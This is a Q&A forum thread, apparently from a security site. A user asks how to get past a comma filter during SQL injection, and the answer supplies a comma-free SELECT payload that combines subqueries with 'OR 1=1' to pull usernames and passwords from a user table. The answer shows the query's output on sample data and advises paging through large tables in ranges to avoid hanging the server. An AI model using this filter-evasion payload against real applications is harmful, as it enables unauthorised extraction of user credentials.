2

I am trying SQLi and comma was filtered there. How make SELECT SQL request without a comma?

2
  • 2
  • "Questions asking us to break the security of a specific system for you are off-topic" - I think this question is pretty general and it is valid for all database systems, not just, lets say, for Oracle DB. I think this was closed only so moderator gets any points for activity.
    – Fusion
    Nov 30 '19 at 13:39
4

Lets say you need to retrive USERNAME,PASSWORD columns form USERTABLE.

In this example The USERTABLE has data as shown below

mysql> SELECT * FROM USERTABLE;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| BOB      | BOBPASS    |
| ALICE2   | ALICE2PASS |
| BOB2     | BOB2PASS   |
+----------+------------+
4 rows in set (0.00 sec)

Now the SQL with out a comma (,) to retrive both username and password can be like below

SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT1 JOIN (SELECT PASSWORD FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PASSWORD OR 1=1

The output is as follows

mysql> SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME<"B")UT1 JOIN
 (SELECT PASSWORD FROM USERTABLE WHERE USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PAS
SWORD OR 1=1;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| ALICE2   | ALICEPASS  |
| ALICE    | ALICE2PASS |
| ALICE2   | ALICE2PASS |
+----------+------------+
4 rows in set (0.00 sec)

You should carefully put the filters at FROM USERTABLE WHERE USERNAME<"B". If you put something like FROM USERTABLE WHERE USERNAME<"Z" you will probably hang the SQL server due to large join.

Just to mention if you think the database is very huge then polish your filters like USERNAME>"AA" AND USERNAME<"AF" so that a small set of data is being operated and its quick. In next iteration you can use USERNAME>"AF" AND USERNAME<"AL" and so on.

And observe you got the combinations CROSSJOIN of usernames and passwords. You will get N X N rows .And you may consider rows at multiples of N like N,2N,3N etc for valid combination of usernames and passwords atleast in case of Mysql.

For some other database software may be you will need to try all the combinations of USERNAME,PASSWORD you retrieved.

Not the answer you're looking for? Browse other questions tagged or ask your own question.